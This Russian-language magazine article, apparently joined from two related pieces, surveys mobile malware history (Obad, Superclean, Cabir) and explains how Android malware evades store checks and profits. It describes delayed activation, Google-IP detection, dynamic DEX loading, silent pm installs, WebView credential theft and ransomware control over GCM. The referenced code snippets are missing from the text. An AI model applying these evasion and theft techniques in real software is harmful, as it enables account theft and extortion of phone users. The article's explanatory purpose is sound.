После попадания на смартфон жертвы и запуска троян извлекал из файла res/raw/data.db(который существовал в любой версии трояна) список операторов связи и платных коротких номеров и начинал отправку SMS. В дополнение троян открывал в браузере веб-страницу, содержащую ссылки на другое вредоносное ПО. Интересно, что сообщения также изменялись при каждой новой мутации трояна, в результате чего было невозможно блокировать определенные типы сообщений на стороне оператора.

Различия в контрольных суммах файлов пакета с трояном, скачанных в разное время

 

Вирус-матрешка

Неделей раньше, а именно 1 февраля 2012 года, на сайте Виктор Чебушев опубликовал заметку, посвященную обнаружению нового типа вируса, распространяемого через магазин Google Play. Вирус маскировался под приложение Superclean, способное, по словам разработчиков, очистить память устройства и таким образом поднять производительность смартфона или планшета. На тот момент приложение имело уже от 1000 до 5000 установок и хороший рейтинг в 4,5 звезды.

Как выяснилось, Superclean действительно выполнял очистку памяти, но делал это простым перезапуском всех фоновых приложений с помощью всего пяти строк на языке Java. На этой «сложной» задаче полезное действие приложения заканчивалось, а самое интересное начиналось дальше. Анализируя код, сотрудник «Лаборатории Касперского» обнаружил, что при запуске приложение соединялось с удаленным сервером и загружало на карту памяти три файла: autorun.inf, folder.ico и svchosts.exe.

Первые два автоматически превращали подключаемый к USB-порту компа смартфон в самозагружаемую флешку, с которой запускался файл svchosts.exe. Сам svchosts.exe на поверку оказался бэкдором Backdoor.MSIL.Ssucl.a, который слушает микрофон компьютера и отправляет все полученные с его помощью данные на удаленный сервер.

Страница приложения Superclean. Обрати внимание на рейтинг

Отличительной чертой трояна был также самый внушительный на тот момент набор функциональности из всех мобильных зловредов для Android. По команде от оператора он мог отправлять сообщения без ведома пользователя, включать и выключать Wi-Fi, собирать информацию об устройстве, открывать произвольные ссылки в браузере, отправлять на удаленный сервер содержимое SD-карты, SMS-переписку и выполнять многие другие операции.

Все, что выводит Superclean на экран

 

Очередной ответ Google, или принудительная проверка всех приложений

К концу 2012 года ситуация с зловредами для Android стала уже настолько накаленной, что Google решила пойти на очередной кардинальный шаг. В сентябре без лишней огласки был приобретен сервис онлайн-проверки приложений на вирусы VirusTotal, а 29 октября выпущена версия Android 4.2, одним из новшеств которой стала автоматическая проверка любого устанавливаемого не через Google Play приложения на вирусы через удаленный сервис.

Трудно сказать, использовала ли Google купленный VirusTotal для этой задачи, или у них есть собственный сервис проверки, однако не нужно быть сотрудником Google, чтобы понять, что VirusTotal так или иначе был использован для защиты Android от вирусов.

 

А как же другие мобильные ОС?

Настоящая история мобильных вирусов началась задолго до появления Android — в те времена, когда на рынке господствовали Symbian и Windows CE. Еще в 2004 году хакерская команда 29A продемонстрировала пример червя для Symbian Series 60, названного впоследствии Cabir (Worm.SymbOS.Cabir). Червь распространялся через Bluetooth и не совершал никаких зловредных действий, только демонстрировал сообщение «Caribe» после включения смартфона. Участники 29A разослали вирус ведущим антивирусным компаниям как пример, а затем опубликовали его исходный код, из-за чего впоследствии появилось несколько модификаций червя, на этот раз найденных «в дикой природе».

Затем был обнаружен первый вирус для систем на базе Windows CE под названием Virus.WinCE.Duts. Он поражал PocketPC 2000, PocketPC 2002, PocketPC 2003, не умел распространяться через Bluetooth или MMS, но инфицировал все найденные приложения на самом устройстве. Как и Cabir, он был детищем 29A и также был создан для демонстрации возможности существования подобного рода зловредов.

Спустя месяц для Windows CE был обнаружен первый бэкдор: Backdoor.WinCE.Brador. После запуска зловред прописывался в автозагрузку, а затем открывал сетевой порт и ожидал удаленные подключения. Бэкдор поддерживал такие команды, как получение списка файлов на устройстве, загрузка файла, показ SMS-сообщений, получение файла с устройства и выполнение определенной команды.

Практически сразу после Brador был найден и первый SM-троян, в этот раз для Symbian. Он распространялся в составе простой игры Mosquitos, в честь которой и получил свое имя — Trojan.SymbOS.Mosquit.a. После запуска он начинал рассылку сообщений на премиум-номера. Работоспособность игры при этом полностью сохранялась, а ее титульный экран был украшен сообщением о том, что игра была крякнута неким SODDOM BIN LOADER.

Впоследствии количество известных вирусов начало стремительно возрастать, и многие из них использовали многочисленные уязвимости в Symbian. Например, Trojan.SymbOS.Locknut, получивший известность в России как Govno, использовал некорректную проверку исполняемых файлов, чтобы блокировать работу всей ОС. Trojan.SymbOS.Fontal заменял системные шрифты на модифицированные версии, из-за чего ОС также отказывалась загружаться. Trojan.SymbOS.Dampig и Trojan.SymbOS.Hoblle подменяли системные приложения, а Trojan.SymbOS.Drever был способен блокировать работу антивирусных приложений.

После того как на сцене появилась iOS, некоторые вирусописатели попытались переключиться на нее. Однако из-за параноидальной закрытости API ОС и невозможности установить приложения из сторонних источников эпидемии не произошло. Немногочисленные вирусы были ориентированы на взломанные устройства и в основном выводили на экран различные рекламные и фишинговые сообщения. Наиболее примечательным стало разве что появление трояна в самом App Store. Приложение под названием Find and call, обладая функционалом VoIP-клиента, при этом совершало такие действия, как копирование контактов на удаленный сервер и рассылка спама (на русском языке, кстати).

 

Самый продвинутый троян

В июне этого года сотрудники «Лаборатории Касперского» обнаружили наиболее сложный и продвинутый в техническом плане троян для Android из всех, что встречались до этого. Троян получил имя Backdoor.AndroidOS.Obad.a. Это было независимое приложение, не внедряемое в легитимный софт и, судя по всему, распространяемое под видом известных приложений.

После соглашения пользователя с длинным списком полномочий, установки и запуска он запрашивал права администратора устройства (речь идет не о root, а о собственной системе безопасности Android), которые были нужны только для двух вещей: самостоятельной блокировки экрана и защиты от удаления. Последнее троян делал особенно изысканно. Используя ранее неизвестный баг в Android, он удалял себя из списка приложений с полномочиями администратора, из-за чего его невозможно было лишить этих прав и, как следствие, удалить.

Далее троян проверял в системе наличие прав root и при следующем подключении к Wi-Fi-сети отправлял информацию об устройстве на удаленный сервер. Информация была типична для такого рода приложений и содержала в себе номер телефона, IMEI, MAC-адреса и подобную информацию. В ответ он получал список команд для исполнения и заносил их в базу данных с пометкой о времени исполнения. Удаленными командами могли быть: проверка баланса, отправка сообщений, переход в режим проксирования трафика, скачивание и установка приложений, отправка файлов по Bluetooth, открытие шелла и другие. Плюс ко всему при каждом подключении к другому устройству по синему зубу он копировал сам себя на это устройство.

При попытке анализа кода трояна обнаружилось использование множества техник защиты от анализа. Во-первых, троян эксплуатировал неизвестный ранее баг в утилите dex2jar, из-за которого декомпиляция кода трояна происходила некорректно. Во-вторых, троян использовал еще один неизвестный баг в Android, позволяющий создать файл Manifest.xml, в котором содержится метаинформация о приложении, таким образом, чтобы он противоречил стандартам Google, но при этом корректно обрабатывался при запуске приложения. Из-за этого многие инструменты анализа просто не срабатывали.

Backdoor.AndroidOS.Obad.a требует множество полномочий для работы

Если же удавалось распаковать и декомпилировать код трояна, обойдя эти ограничения, то дальше приходилось иметь дело с многоуровневой системой шифрования, которая защищала от анализа все текстовые данные, а также имена методов (они тоже были строками и вызывались посредством рефлексии). Интересно, что ключом для первого слоя шифрования была строка с главной страницы facebook.com, из-за чего работу трояна невозможно было проанализировать в «стерильной комнате», без подключения к интернету (хотя ограничение, конечно, можно обойти с помощью прокси).

А плюс ко всему еще и запрашивает права администратора

 

INFO

В качестве одного из методов полиморфизма в найденном Symantec трояне использовалась включаемая в разные файлы фотография того самого Свидетеля из Фрязино.

 

WWW

  • Доклад с конференции DEF CON 18, посвященный первому серьезному руткиту для Android: goo.gl/WM0tBz
  • То самое сообщение на reddit об обнаружении трояна DroidDream: goo.gl/MnTcb

 

Выводы

Количество вирусов для Android сегодня исчисляется тысячами, и некоторые из них действительно представляют интерес для исследователя как образцы хорошего программирования и знания архитектуры Android. Вот только бояться их не стоит. Автор данной статьи уже более шести лет использует смартфоны на Android без всяких антивирусов и ни разу не поймал на них заразу. Главное — читать полномочия приложений и ставить их только из маркета.

 

Вирусы для Android. Способы заражения.

  • Открытым кодом. Всегда можно посмотреть, как работает та или иная системная утилита.
  • Распространенностью. Обновления безопасности поступают на разные модели устройств в разное время, многие вообще остаются без обновлений, что позволяет беспрепятственно использовать весьма несвежие уязвимости.
  • Несовершенством антивирусных программ. Сколько бы процессоров ни было в устройстве, антивирусы все равно значительно замедляют работу ОС, поэтому пользователи неохотно их ставят.
  • Слабой системой проверки приложений в маркете. Несмотря на все уверения специалистов Google о «многоступенчатой проверке», в маркет легко проникают клоны удаленных инфицированных программ, а к разработчикам таких программ не применяются никакие меры.
  • Отсутствием централизованного контроля за прошивками. Разработчик прошивки может беспрепятственно вставлять любой шпионский софт по своему усмотрению.

ОБХОД АНТИВИРУСНЫХ СКАНЕРОВ

Времена свободного доступа любого приложения в Play Market подходят к концу. Ребята из Google сообразили, что надо принимать хоть какие-то меры, чтобы остановить нашествие огромного количества вирусов, и ввели систему проверки приложений. Создатели вирусов мгновенно отреагировали и начали вставлять механизмы обхода проверки.

[ad name=”Responbl”]

Один из интересных методов — отложенный старт вредоносной активности. Например, приложение месяц ведет себя как обычная игрушка или справочник, тысячи пользователей скачивают его и оставляют восторженные отзывы, привлекая все большую аудиторию. А через некоторое время в приложении вдруг просыпается зло, и оно начинает показывать фейковые диалоги, скачивать и устанавливать нежелательный софт.

Другие вирусы, такие как семейство Leech, определяют свой IP-адрес в сети и, если он попадает в IP-диапазон, используемый Google, или же имя хоста айпишника содержит слова google, android, 1e100, сразу же прекращают работу, чтобы не вызывать подозрений у системы автоматической проверки. Причем делают они это по-хитрому, ведь если использовать стандартные средства Android, то придется запрашивать у пользователя дополнительные разрешения. Поэтому злоумышленники обращают свой взор на такие ресурсы, как ipinfo.io. Не составит труда загрузить страничку в строку и найти там нужную информацию:

Развиваются и методы обхода статического анализа кода. Один из способов — использовать динамическую загрузку библиотек с вредоносной нагрузкой. В результате само приложение выглядит вполне невинно. Для загрузки внешнего кода используется класс DexClassLoader, который умеет загружать классы из JARили APK-файлов в формате DEX.


После загрузки класса можно спокойно дергать его методы с помощью рефлексии. Внешнюю библиотеку можно как разместить в самом APK, так и скачать из Сети после установки. Чтобы еще больше усложнить обнаружение вредоносного кода, злоумышленники шифруют такие программные модули и дают им трудноугадываемые имена.

Некоторые вирусописатели идут дальше и выкладывают в маркет приложения, которые после установки скачивают и устанавливают вирусные аппликухи самостоятельно, маскируя их под системные утилиты. Так что, даже если пользователь удалит изначальное приложение, вирус будет преспокойно обитать на устройстве и дальше. Такой подход реализован, например, в приложении BrainTest.

Для установки новых приложений без ведома пользователя злоумышленники используют утилиту pm:

Чтобы использовать эту утилиту, приложение должно либо запрашивать разрешение android.permission.INSTALL_PACKAGES в манифесте, либо обладать правами рута. Проверить, установлено ли приложение, можно, воспользовавшись методом getPackageInfo класса PackageManager:


СПОСОБЫ ОБОГАЩЕНИЯ НА ВИРУСАХ ДЛЯ АНДРОИД

Самый простой способ нажиться на бедных пользователях — заставить их просматривать рекламу. Например, приложение Who Viewed Me on Instagram обещает показать пользователю его тайных поклонников в инстаграме, а вместо этого ворует учетные данные и размещает кучу рекламы в профиле пользователя. Приложение использует возможность вызова методов Android-приложения из JavaScript-кода. Чтобы украсть учетную запись пользователя, вредонос просит пользователя залогиниться в своем окне с WebView, а после загрузки логин-страницы инстаграма добавляет кусочек своего кода к кнопке входа.

Объявляем метод, который будет принимать учетную запись из JavaScript:


Следует отметить, что после удаления одной версии программы автор сразу же разместил аналогичную, лишь слегка изменив название. И она спокойно прошла контроль со стороны Play маркета! Похоже, что Большой Брат не так уж пристально следит за разработчиками.

Между прочим, количество загрузок у подобных «полезных приложений» иногда переваливает за 100 тысяч! Так что, если приложение просит тебя залогиниться в соцсеть в своем окне, самое время насторожиться и вспомнить, что конкретно тебе известно об этом приложении.

[ad name=”Responbl”]

Другой набирающий популярность способ обогащения — вирусы-вымогатели. Попав на устройство, они получают права рута, часто шифруют пользовательские данные и показывают окно с требованием выкупа, предотвращая попытки пользователя запустить другие приложения. Так ведут себя, к примеру, вирусы семейства Fusob.

Первоочередная задача программы-вымогателя — получить рут на устройстве жертвы. К сожалению простых пользователей, в Сети гуляет бесчисленное множество эксплоитов, позволяющих незаметно повысить права приложения до суперпользовательских. Например, Towelroot постоянно обновляется и совершенствуется своим создателем. Неплохую базу эксплоитов собрала группа Offensive Security, ну и конечно, все самые свежие уязвимости можно посмотреть на CVE.

Получив рут, зловред с помощью класса ActivityManager начинает контролировать работу других приложений, убивая нежелательные:

Нередко для управления вирусом-вымогателем используется GCM — ребята из Google разработали идеальную систему для отправки команд приложению и получения от него ответов. Достаточно зарегистрироваться на сервере, предварительно получив токен для работы.

Теперь можно принимать любые команды, в том числе на обновление вируса, что дает злоумышленнику практически неограниченную власть.


Есть и более безобидные способы обогащения. Например, популярное приложение «Фонарик» втихаря собирало данные о месторасположении пользователей, которые разработчик потом продавал рекламщикам для таргетирования рекламы.

ВЫВОДЫ

В этой статье мы разобрали все ключевые моменты кода, которые позволяют современной малвари реализовывать зловредные идеи своих плохих авторов. Обладающему этими знаниями программисту бояться нечего :), а что же делать простому пользователю? Если не хочется устанавливать кучу антивирусного софта на девайс, всегда можно скачать APK перед установкой и проверить его на наличие вирусов онлайн-утилитами, например тем же Вирустоталом. Ими же могут воспользоваться разработчики, чтобы удостовериться, что их новое приложение не будет принято за вирус.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *